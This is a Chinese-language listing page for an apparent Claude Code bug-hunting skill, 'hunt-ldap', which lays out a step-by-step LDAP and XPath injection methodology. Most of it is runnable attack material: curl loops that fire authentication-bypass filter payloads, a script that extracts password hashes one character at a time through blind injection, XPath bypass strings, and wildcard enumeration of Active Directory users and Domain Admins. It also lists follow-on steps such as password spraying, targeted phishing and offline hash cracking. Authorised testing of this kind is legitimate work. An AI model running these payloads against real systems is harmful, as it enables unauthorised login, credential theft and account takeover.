关于 hunt-ldap
面向安全测试人员的 LDAP 与 XPath 注入排查技能,介绍认证绕过、盲注和目录枚举,并区分 Active Directory 与通用 LDAP 的属性差异。
主要功能
- 01确认 LDAP 后端与注入迹象
- 02测试 LDAP 认证绕过
- 03通过受控响应判断盲注
- 04检查 XML 认证中的 XPath 注入
- 05区分 AD 与通用 LDAP 的可读属性
适用场景
- 01评估登录或目录查询功能的注入风险
- 02验证盲注是否能提取可读属性
- 03在 Active Directory 中枚举用户与组信息
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-ldap安装后在 Claude Code 中输入/hunt-ldap确认已加载。
详细介绍
HUNT-LDAP — LDAP 注入与 XPath 注入
背景说明:LDAP 注入很少会在公开平台上披露原样载荷(大多数案例只存在于内部渗透测试报告中)。本技能以 OWASP LDAP 注入预防 / 测试指南(WSTG-INPV-06)、**PortSwigger Web Security Academy(LDAP 注入)**和 RFC 4515 过滤器语法为依据;这些都是可公开核实的参考资料,而非杜撰的 HackerOne 编号。不要引用无法提供链接的报告。
皇冠明珠目标
绕过身份验证的 LDAP 注入 = 严重。盲属性凭据 / 秘密信息窃取 = 高危。仅枚举 AD = 中高危。
价值最高的攻击链:
- LDAP 身份验证绕过 — 闭合
uid过滤器并追加一个恒真 OR,使绑定 / 搜索在没有有效密码的情况下返回管理员条目。 - 盲属性数据窃取 — 通过布尔型预言机(登录成功 / 失败、结果数量或响应长度)逐字符提取属性值。
- userPassword 哈希窃取(仅限非 AD) — 在 OpenLDAP / 389-DS 上,
userPassword属性可能存放{SSHA}/{CRYPT}哈希,这些哈希可以通过查询读取。参见下文关于 AD 与通用 LDAP 的警告。 - XPath 注入身份验证绕过 — 针对基于 XML 的身份验证使用
' or '1'='1。
严重 — Active Directory 与通用 LDAP 的区别
不要混为一谈。 两者的行为截然不同:
| 通用 LDAP(OpenLDAP、389-DS、ApacheDS) | Active Directory | |
|---|---|---|
| 密码属性 | userPassword — 可能存放 {SSHA} / {MD5} / {CRYPT},且可读取(前提是 ACL 允许) | unicodePwd — 只写,任何搜索都不会返回 |
| 通过注入窃取哈希 | 可能,前提是 ACL 泄露了 userPassword | 不可能 — LDAP 中不存在可读取的哈希属性 |
| 有用的枚举属性 | uid、cn、mail、userPassword | sAMAccountName、userPrincipalName、mail、memberOf、description(其中经常存有明文秘密!) |
不要告诉读者盲 LDAP 注入可以获取 AD 密码哈希——事实并非如此。 unicodePwd 是只写的。针对 AD,真正的收获是枚举(sAMAccountName、memberOf,以及管理员误用来存储密码的 description / info 字段)和身份验证绕过,而不是哈希转储。哈希窃取技术仅适用于公开 userPassword 的非 AD 目录。
攻击面信号
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
LDAP 过滤器语法(RFC 4515)——注入为何有效
登录过滤器通常通过字符串拼接构造:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
& = AND,| = OR,! = NOT。过滤器使用前缀 / 波兰表示法——运算符位于最前,每个子过滤器都用括号括起来。要注入,你必须 (a) 退出当前的 (uid=...) 组,(b) 注入自己的逻辑,并且 (c) 保持整体括号数量平衡,否则服务器会抛出过滤器语法错误,而不是执行查询。
特殊字符集 — 逐一测试
这些字符在语法上有特殊含义,安全应用必须对其进行转义(RFC 4515 §3)。如果应用在收到未转义的字符时返回错误或行为有所不同,则输入未转义 → 可注入:
| 字符 | 过滤器转义 | 重要原因 |
|---|---|---|
* | \2a | 通配符 — 匹配任意值 |
( | \28 | 开始过滤器组 |
) | \29 | 结束过滤器组 |
\ | \5c | 转义字符本身 |
| NUL | \00 | 字符串终止符 — 会截断使用 C 实现的服务器中的过滤器 |
/ | (DN 上下文) | RDN 分隔符 — 与 DN 注入相关 |
搜索过滤器上下文与 DN 注入是不同的漏洞:
- 搜索过滤器注入(最常见):你的输入进入
(attr=VALUE)过滤器。载荷会使用* ( ) & | !。 - DN 注入:你的输入被拼接进可分辨名称(
uid=VALUE,ou=people,dc=corp)。此时,=+"\<>;和/很重要,而*不是通配符。两种情况都要测试——载荷不可互换。
分步狩猎方法论
阶段 1 — 确认 LDAP 后端(先建立基线)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
单独一个 ) 会导致语法错误/500,而括号配平的载荷不会,这就是最明确的 LDAP 注入信号——请记下来,后面需要用它作为证据。
阶段 2 — 身份验证绕过载荷(配平括号)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.
# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
# username = *)(uid=*))(|(uid=* password = anything
# Always-true admin (OR uid=*):
# username = admin)(|(uid=*) (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
# username = admin)(uid=*))%00 password = x
USERNAME_PAYLOADS=(
'admin))(|(uid=*' # close uid + close &, open OR uid=* — balance check below
'*)(uid=*))(|(uid=*' # full always-true, self-balancing classic
'admin)(!(userPassword=ZZZ))' # AND NOT a password that is never set → always true
'admin*' # simple wildcard suffix — try first, lowest noise
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
echo "PAYLOAD: $P"
echo "RESP: ${R: -40}"
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
echo "---"
done
**括号配平经验法则:**统计最终完整过滤器中的 ( 与 ) 数量,而不只是统计你的载荷。如果应用在输入后追加 )(userPassword=...)),请在末尾保留恰当数量的 ),使最终字符串配平。过滤器未配平 = 语法错误 = 不能绕过(误报)。
阶段 3 — 使用受控 oracle 进行盲目数据外泄(而非原始字节计数)
直接比较 size_download 差异容易受到噪声影响(WAF 横幅、CSRF 令牌、时间戳、注入字符本身导致的长度抖动)。使用成对的真/假对照,让 oracle 依据响应而非绝对大小作出判断。
# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=* -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () { # $1 = filter-tail payload -> prints normalized size
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*)) on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"
盲目数据外泄的误报防护:
- 每个肯定字符重复 3 次,并确认大小稳定——攻击者控制的字符本身造成的长度抖动是最常见的误报。
- 每轮之后确认假条件对照仍返回假条件对应的大小(应用并非刚好开始对每个请求都报错——WAF 拦截看起来像匹配成功)。
- 如果正文长度不可靠,可将 oracle 改为HTTP 状态码、正文标记字符串(是否包含
"Invalid credentials"),或使用重型过滤器进行计时——但前提是先建立稳定的基线差异。
阶段 4 — XPath 注入(基于 XML 的身份验证)
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
"' or '1'='1"
"' or ''='"
"admin' or '1'='1' or 'a'='b" # keeps quoting balanced
"x'] | //user/* | //user[name()='x" # blind: dump all user nodes (XPath has no comments)
"*[contains(name(),'pass')]" # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
--data-urlencode "username=$P" --data-urlencode "password=x")
echo "$P -> ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
阶段 5 — 通过通配符枚举 AD(计数 oracle,含对照)
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
-H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
# (&(sAMAccountName=*)(memberOf=*Domain Admins*))
# (description=*pw*) (description=*pass*) — admins stash secrets here
阶段 6 — 工具与带外确认
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
# (uid=*))(referral=ldap://<COLLAB>/x) — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.
攻击链表
| LDAP 发现 | 攻击链 | 影响 |
|---|---|---|
| 身份验证绕过(恒为真的过滤器) | 以目录中的第一个条目身份访问管理员/SSO 面板 | 严重 |
AD 枚举(sAMAccountName) | 用户名列表 → 密码喷洒 / 凭据填充 | 大规模账户接管风险 |
memberOf 枚举 | 找出 Domain Admins → 定向钓鱼/密码喷洒 | 定向入侵 |
读取 description/info 字段 | 管理员留存在其中的明文凭据 | 直接泄露凭据 |
盲目外泄 userPassword (仅限非 AD) | {SSHA}(加盐 SHA-1)→ hashcat -m 111({SSHA256}=1411,{SSHA512}=1711);{CRYPT} → 模式取决于 $id$ 前缀($1$=500,$6$=1800)→ 离线破解 | 高 |
| LDAP 转介 → Collaborator | 服务端请求 / 内部目录访问 | SSRF 类问题,可确认盲注 |
AD 没有可读取的密码属性——不要将“提取 AD 哈希”列为攻击链。 针对 AD,获取凭据的途径是滥用
description/info,或利用枚举出的用户名进行密码喷洒,而绝不是unicodePwd。
验证 — 报告之前先排除误报
只有排除了语法错误、WAF 拦截和长度抖动等解释后,“绕过”或“匹配”才算属实。
- 身份验证绕过:始终为真的载荷会返回有效的已认证会话(会话 Cookie + 可访问登录后的资源),而移除一个括号后发送相同请求,会返回筛选器语法错误——这证明筛选器已解析并执行,而不是应用对所有输入都默认放行。
- 负向对照:逻辑上等效但结果为假的载荷(
)(uid=NONEXISTENT_ZZZ))会返回失败响应。如果真假两类载荷都“成功”,那你发现的是一个故障端点,而不是 LDAP 注入。 - **盲注外带:**每个恢复出的字符都能以稳定的大小重复验证 3 次;轮次之间,FALSE 对照仍然读取为 FALSE;通过直接查询或使用该值的身份验证绕过载荷验证恢复出的值。
- **XPath:**引号和方括号保持配对(未出现 500 错误),且绕过后登录进入了真实的账户上下文,而不只是显示了不同的错误页面。
- **尽可能使用带外验证:**由引用载荷触发的 Collaborator DNS/LDAP 交互,对于盲注案例具有决定性意义——优先采用,而非仅根据长度推断。
- **谨慎声明 AD:**如果你声称目标是“AD”,就必须枚举 AD 专用属性(
sAMAccountName/memberOf);绝不能声称外带了 AD 哈希。
严重程度:
- 绕过身份验证并以管理员/特权目录条目身份进入:严重
userPassword哈希外带(非 AD)或读取description字段中的凭据:高- 仅枚举 AD 用户/组:中高
- 已确认盲布尔判断 oracle,但无法获取有用属性:中